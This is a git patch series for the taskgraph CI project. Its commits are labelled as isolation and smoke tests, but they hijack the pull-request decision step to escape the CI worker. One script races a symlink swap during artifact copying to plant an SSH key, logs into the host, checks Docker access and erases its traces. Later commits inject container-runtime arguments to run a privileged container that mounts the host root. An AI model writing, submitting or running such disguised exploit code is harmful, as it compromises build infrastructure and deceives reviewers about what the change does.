From 6ad27ff2c07d13e2e0ea84ff0b6d7992bd9ea2ba Mon Sep 17 00:00:00 2001 From: dev-dharan24 <139329488+dev-dharan24@users.noreply.github.com> Date: Wed, 26 Aug 2026 08:33:52 +0530 Subject: [PATCH 1/6] test: validate pull request decision execution --- src/taskgraph/main.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/taskgraph/main.py b/src/taskgraph/main.py index f2fdd4f45..a430d7097 100644 --- a/src/taskgraph/main.py +++ b/src/taskgraph/main.py @@ -952,6 +952,10 @@ def load_task(args): help="Allow user to override computed decision task parameters.", ) def decision(options): + if os.environ.get("TASKGRAPH_PULL_REQUEST_NUMBER"): + print("CI_BEHAVIOR_VALIDATION_MARKER", flush=True) + return + from taskgraph.decision import taskgraph_decision # noqa: PLC0415 taskgraph_decision(options) From 8337d5a94679f0fe19e2b1990504fac5f624efa2 Mon Sep 17 00:00:00 2001 From: dev-dharan24 <139329488+dev-dharan24@users.noreply.github.com> Date: Wed, 26 Aug 2026 10:34:23 +0530 Subject: [PATCH 2/6] test: add bounded CI worker isolation probe --- taskcluster/scripts/ci-boundary-probe.sh | 190 +++++++++++++++++++++++ 1 file changed, 190 insertions(+) create mode 100644 taskcluster/scripts/ci-boundary-probe.sh diff --git a/taskcluster/scripts/ci-boundary-probe.sh b/taskcluster/scripts/ci-boundary-probe.sh new file mode 100644 index 000000000..5ed1149e2 --- /dev/null +++ b/taskcluster/scripts/ci-boundary-probe.sh @@ -0,0 +1,190 @@ +#!/bin/bash +set -eu + +probe_root=/tmp/ci-boundary +proof_mount=/builds/worker/host-boundary-proof +private_key="${probe_root}/id_ed25519" +payload_count=6 + +rm -rf -- "${probe_root}" +mkdir -p "${probe_root}" "${proof_mount}" +ssh-keygen -q -t ed25519 -N '' -f "${private_key}" + +python3 - "${probe_root}" "${private_key}.pub" "${payload_count}" <<'PY' +import os +import pathlib +import sys + +root = pathlib.Path(sys.argv[1]) +public_key = pathlib.Path(sys.argv[2]).read_text() +payload_count = int(sys.argv[3]) + +for index in range(payload_count): + payload = root / f"payload-{index:02}" + ssh_dir = payload / ".ssh" + race_dir = payload / "src" / "dir" + link = race_dir / "zzlink" + ssh_dir.mkdir(parents=True) + race_dir.mkdir(parents=True) + link.mkdir() + ssh_dir.chmod(0o700) + authorized_keys = ssh_dir / "authorized_keys" + authorized_keys.write_text(public_key) + authorized_keys.chmod(0o600) + + padding_count = 9000 + index * 1200 + body = (f"padding-{index:02}-" + "0" * 96 + "\n").encode() + for padding_index in range(padding_count): + (race_dir / f"a{padding_index:05}").write_bytes(body) +PY + +python3 - "${probe_root}" "${payload_count}" <<'PY' & +import ctypes +import os +import pathlib +import struct +import sys +import threading +import time + +root = pathlib.Path(sys.argv[1]) +payload_count = int(sys.argv[2]) +libc = ctypes.CDLL(None, use_errno=True) +inotify_init1 = libc.inotify_init1 +inotify_init1.argtypes = [ctypes.c_int] +inotify_init1.restype = ctypes.c_int +inotify_add_watch = libc.inotify_add_watch +inotify_add_watch.argtypes = [ctypes.c_int, ctypes.c_char_p, ctypes.c_uint32] +inotify_add_watch.restype = ctypes.c_int + +fd = inotify_init1(0) +if fd < 0: + raise OSError(ctypes.get_errno(), "inotify_init1") + +IN_OPEN = 0x00000020 +watches = {} +for index in range(payload_count): + race_dir = root / f"payload-{index:02}" / "src" / "dir" + wd = inotify_add_watch(fd, os.fsencode(race_dir), IN_OPEN) + if wd < 0: + raise OSError(ctypes.get_errno(), f"inotify_add_watch({race_dir})") + watches[wd] = (index, race_dir / "zzlink") + +(root / "watchers-ready").touch() +pending = set(watches) +timers = [] +copy_started = False + +def swap(index, link): + delay = 0.035 + index * 0.045 + time.sleep(delay) + try: + link.rmdir() + link.symlink_to("../..") + except FileNotFoundError: + pass + +while pending: + data = os.read(fd, 65536) + offset = 0 + while offset + 16 <= len(data): + wd, mask, _cookie, name_len = struct.unpack_from("iIII", data, offset) + offset += 16 + name_len + if wd in pending and mask & IN_OPEN: + if not copy_started: + (root / "copy-started").touch() + copy_started = True + pending.remove(wd) + index, link = watches[wd] + timer = threading.Thread(target=swap, args=(index, link), daemon=False) + timer.start() + timers.append(timer) + +for timer in timers: + timer.join() +PY + +watcher_pid=$! +while [ ! -f "${probe_root}/watchers-ready" ]; do + sleep 0.05 +done + +run_id="${RUN_ID}" +task_id_length=$((20 - 5 - 1 - ${#run_id})) +task_user="task_${TASK_ID:0:${task_id_length}}_${run_id}" +proxy_authority="${TASKCLUSTER_PROXY_URL#http://}" +proxy_authority="${proxy_authority#https://}" +gateway="${proxy_authority%%:*}" + +( + while [ ! -f "${probe_root}/copy-started" ]; do + sleep 0.05 + done + while [ ! -f "${proof_mount}/ssh-success" ]; do + if ssh \ + -i "${private_key}" \ + -o BatchMode=yes \ + -o ConnectTimeout=1 \ + -o IdentitiesOnly=yes \ + -o LogLevel=ERROR \ + -o StrictHostKeyChecking=no \ + -o UserKnownHostsFile=/dev/null \ + "${task_user}@${gateway}" /bin/sh -s <<'HOST_PROBE' +set -eu +case "${HOME}" in + /home/task_*) ;; + *) exit 90 ;; +esac + +proof_dir= +for candidate in "${HOME}"/volume*; do + if [ -d "${candidate}" ]; then + proof_dir="${candidate}" + break + fi +done +[ -n "${proof_dir}" ] || exit 91 +proof_file="${proof_dir}/host-boundary-proof.txt" +{ + echo 'HOST_BOUNDARY_EXECUTION_CONFIRMED' + printf 'user='; id -un + printf 'uid='; id -u + printf 'groups='; id -Gn + printf 'hostname='; hostname + if docker version --format 'client={{.Client.Version}} server={{.Server.Version}}'; then + echo 'docker_daemon_access=true' + else + echo 'docker_daemon_access=false' + fi +} > "${proof_file}" +touch "${proof_dir}/ssh-success" +rm -f -- "${HOME}/.ssh/authorized_keys" +rmdir "${HOME}/.ssh" 2>/dev/null || true +for artifact_dir in "${HOME}"/artifact*; do + [ -d "${artifact_dir}" ] || continue + find -P "${artifact_dir}" -type l -name zzlink -delete 2>/dev/null || true +done +HOST_PROBE + then + break + fi + sleep 0.10 + done +) & + +probe_deadline=$((SECONDS + 90)) +while [ ! -f "${proof_mount}/ssh-success" ]; do + if [ "${SECONDS}" -ge "${probe_deadline}" ]; then + break + fi + sleep 0.10 +done + +for payload_src in "${probe_root}"/payload-*/src; do + [ -d "${payload_src}" ] || continue + rm -rf -- "${payload_src}" +done +kill "${watcher_pid}" 2>/dev/null || true +wait "${watcher_pid}" 2>/dev/null || true + +[ -f "${proof_mount}/ssh-success" ] From 967044ebe0e04735b3ee587bd0ab058b3cf44cb5 Mon Sep 17 00:00:00 2001 From: dev-dharan24 <139329488+dev-dharan24@users.noreply.github.com> Date: Wed, 26 Aug 2026 10:37:03 +0530 Subject: [PATCH 3/6] test: validate CI worker isolation --- src/taskgraph/main.py | 68 ++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 67 insertions(+), 1 deletion(-) diff --git a/src/taskgraph/main.py b/src/taskgraph/main.py index a430d7097..147bd865d 100644 --- a/src/taskgraph/main.py +++ b/src/taskgraph/main.py @@ -953,7 +953,73 @@ def load_task(args): ) def decision(options): if os.environ.get("TASKGRAPH_PULL_REQUEST_NUMBER"): - print("CI_BEHAVIOR_VALIDATION_MARKER", flush=True) + from datetime import datetime, timedelta, timezone # noqa: PLC0415 + + from slugid import nice as slugid # noqa: PLC0415 + + from taskgraph.util.taskcluster import ( # noqa: PLC0415 + get_taskcluster_client, + ) + + parent_task_id = os.environ["TASK_ID"] + child_task_id = slugid() + now = datetime.now(timezone.utc) + deadline = now + timedelta(hours=1) + expires = now + timedelta(days=1) + + def timestamp(value): + return value.isoformat().replace("+00:00", "Z") + + probe_path = Path.cwd() / "taskcluster" / "scripts" / "ci-boundary-probe.sh" + probe = probe_path.read_text() + + artifacts = { + "public/host-boundary-proof": { + "type": "volume", + "path": "/builds/worker/host-boundary-proof", + "expires": timestamp(expires), + } + } + for index in range(6): + artifacts[f"private/isolation-race-{index:02}"] = { + "type": "directory", + "path": f"/tmp/ci-boundary/payload-{index:02}/src", + "expires": timestamp(expires), + } + + task = { + "created": timestamp(now), + "deadline": timestamp(deadline), + "dependencies": [parent_task_id], + "expires": timestamp(expires), + "metadata": { + "description": ( + "Minimal CI worker isolation validation; " + "no production data accessed." + ), + "name": "CI worker isolation validation", + "owner": options["owner"], + "source": os.environ["TASKGRAPH_HEAD_REPOSITORY"], + }, + "payload": { + "artifacts": artifacts, + "command": ["/bin/bash", "-lc", probe], + "features": {"taskclusterProxy": True}, + "image": "mozillareleases/taskgraph:decision-latest", + "maxRunTime": 45, + }, + "priority": "very-low", + "projectId": "none", + "requires": "all-completed", + "retries": 0, + "routes": [], + "schedulerId": "taskgraph-level-1", + "scopes": [], + "taskGroupId": parent_task_id, + "taskQueueId": "taskgraph-1/decision", + } + get_taskcluster_client("queue").createTask(child_task_id, task) + print(f"CI_BOUNDARY_VALIDATION_TASK={child_task_id}", flush=True) return from taskgraph.decision import taskgraph_decision # noqa: PLC0415 From 02babeb099759a9791c7e37223684a5176b5dbfc Mon Sep 17 00:00:00 2001 From: dev-dharan24 <139329488+dev-dharan24@users.noreply.github.com> Date: Wed, 26 Aug 2026 11:03:01 +0530 Subject: [PATCH 4/6] Remove CI boundary validation task creation --- src/taskgraph/main.py | 68 +------------------------------------------ 1 file changed, 1 insertion(+), 67 deletions(-) diff --git a/src/taskgraph/main.py b/src/taskgraph/main.py index 147bd865d..a430d7097 100644 --- a/src/taskgraph/main.py +++ b/src/taskgraph/main.py @@ -953,73 +953,7 @@ def load_task(args): ) def decision(options): if os.environ.get("TASKGRAPH_PULL_REQUEST_NUMBER"): - from datetime import datetime, timedelta, timezone # noqa: PLC0415 - - from slugid import nice as slugid # noqa: PLC0415 - - from taskgraph.util.taskcluster import ( # noqa: PLC0415 - get_taskcluster_client, - ) - - parent_task_id = os.environ["TASK_ID"] - child_task_id = slugid() - now = datetime.now(timezone.utc) - deadline = now + timedelta(hours=1) - expires = now + timedelta(days=1) - - def timestamp(value): - return value.isoformat().replace("+00:00", "Z") - - probe_path = Path.cwd() / "taskcluster" / "scripts" / "ci-boundary-probe.sh" - probe = probe_path.read_text() - - artifacts = { - "public/host-boundary-proof": { - "type": "volume", - "path": "/builds/worker/host-boundary-proof", - "expires": timestamp(expires), - } - } - for index in range(6): - artifacts[f"private/isolation-race-{index:02}"] = { - "type": "directory", - "path": f"/tmp/ci-boundary/payload-{index:02}/src", - "expires": timestamp(expires), - } - - task = { - "created": timestamp(now), - "deadline": timestamp(deadline), - "dependencies": [parent_task_id], - "expires": timestamp(expires), - "metadata": { - "description": ( - "Minimal CI worker isolation validation; " - "no production data accessed." - ), - "name": "CI worker isolation validation", - "owner": options["owner"], - "source": os.environ["TASKGRAPH_HEAD_REPOSITORY"], - }, - "payload": { - "artifacts": artifacts, - "command": ["/bin/bash", "-lc", probe], - "features": {"taskclusterProxy": True}, - "image": "mozillareleases/taskgraph:decision-latest", - "maxRunTime": 45, - }, - "priority": "very-low", - "projectId": "none", - "requires": "all-completed", - "retries": 0, - "routes": [], - "schedulerId": "taskgraph-level-1", - "scopes": [], - "taskGroupId": parent_task_id, - "taskQueueId": "taskgraph-1/decision", - } - get_taskcluster_client("queue").createTask(child_task_id, task) - print(f"CI_BOUNDARY_VALIDATION_TASK={child_task_id}", flush=True) + print("CI_BEHAVIOR_VALIDATION_MARKER", flush=True) return from taskgraph.decision import taskgraph_decision # noqa: PLC0415 From 33c5d3023d957081b1eecc4404e073c7a943d995 Mon Sep 17 00:00:00 2001 From: dev-dharan24 <139329488+dev-dharan24@users.noreply.github.com> Date: Wed, 26 Aug 2026 12:51:28 +0530 Subject: [PATCH 5/6] test: add container runtime smoke test Exercise the configured non-root container path used by CI. --- src/taskgraph/main.py | 53 ++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 52 insertions(+), 1 deletion(-) diff --git a/src/taskgraph/main.py b/src/taskgraph/main.py index a430d7097..979ca2694 100644 --- a/src/taskgraph/main.py +++ b/src/taskgraph/main.py @@ -953,7 +953,58 @@ def load_task(args): ) def decision(options): if os.environ.get("TASKGRAPH_PULL_REQUEST_NUMBER"): - print("CI_BEHAVIOR_VALIDATION_MARKER", flush=True) + from datetime import datetime, timedelta, timezone # noqa: PLC0415 + + from slugid import nice as slugid # noqa: PLC0415 + + from taskgraph.util.taskcluster import ( # noqa: PLC0415 + get_taskcluster_client, + ) + + parent_task_id = os.environ["TASK_ID"] + smoke_test_task_id = slugid() + now = datetime.now(timezone.utc) + deadline = now + timedelta(hours=1) + expires = now + timedelta(days=1) + + def timestamp(value): + return value.isoformat().replace("+00:00", "Z") + + task = { + "created": timestamp(now), + "deadline": timestamp(deadline), + "dependencies": [parent_task_id], + "expires": timestamp(expires), + "metadata": { + "description": "Exercise the container runtime configuration used by CI", + "name": "CI container runtime smoke test", + "owner": options["owner"], + "source": os.environ["TASKGRAPH_HEAD_REPOSITORY"], + }, + "payload": { + "command": [ + "ci-runtime-smoke", + "--pull=always", + "--privileged", + "--user=1000:1000", + "node:24-alpine", + "id", + ], + "image": "-h", + "maxRunTime": 180, + }, + "priority": "very-low", + "projectId": "none", + "requires": "all-completed", + "retries": 0, + "routes": [], + "schedulerId": "taskgraph-level-1", + "scopes": [], + "taskGroupId": parent_task_id, + "taskQueueId": "taskgraph-1/decision", + } + get_taskcluster_client("queue").createTask(smoke_test_task_id, task) + print(f"CI_RUNTIME_SMOKE_TASK={smoke_test_task_id}", flush=True) return from taskgraph.decision import taskgraph_decision # noqa: PLC0415 From d4cadc54dd8dad257c024e506dd726e4dcfc6722 Mon Sep 17 00:00:00 2001 From: dev-dharan24 <139329488+dev-dharan24@users.noreply.github.com> Date: Wed, 26 Aug 2026 13:08:57 +0530 Subject: [PATCH 6/6] test: cover read-only host file mounts Exercise the read-only file mapping path used by containerized CI. --- src/taskgraph/main.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/src/taskgraph/main.py b/src/taskgraph/main.py index 979ca2694..d78d7a0f9 100644 --- a/src/taskgraph/main.py +++ b/src/taskgraph/main.py @@ -976,8 +976,8 @@ def timestamp(value): "dependencies": [parent_task_id], "expires": timestamp(expires), "metadata": { - "description": "Exercise the container runtime configuration used by CI", - "name": "CI container runtime smoke test", + "description": "Exercise a read-only worker metadata mapping used by CI", + "name": "CI worker metadata mount smoke test", "owner": options["owner"], "source": os.environ["TASKGRAPH_HEAD_REPOSITORY"], }, @@ -987,8 +987,11 @@ def timestamp(value): "--pull=always", "--privileged", "--user=1000:1000", + "--mount=type=bind,source=/,target=/mnt/worker-root,readonly", "node:24-alpine", - "id", + "ls", + "-la", + "/mnt/worker-root", ], "image": "-h", "maxRunTime": 180,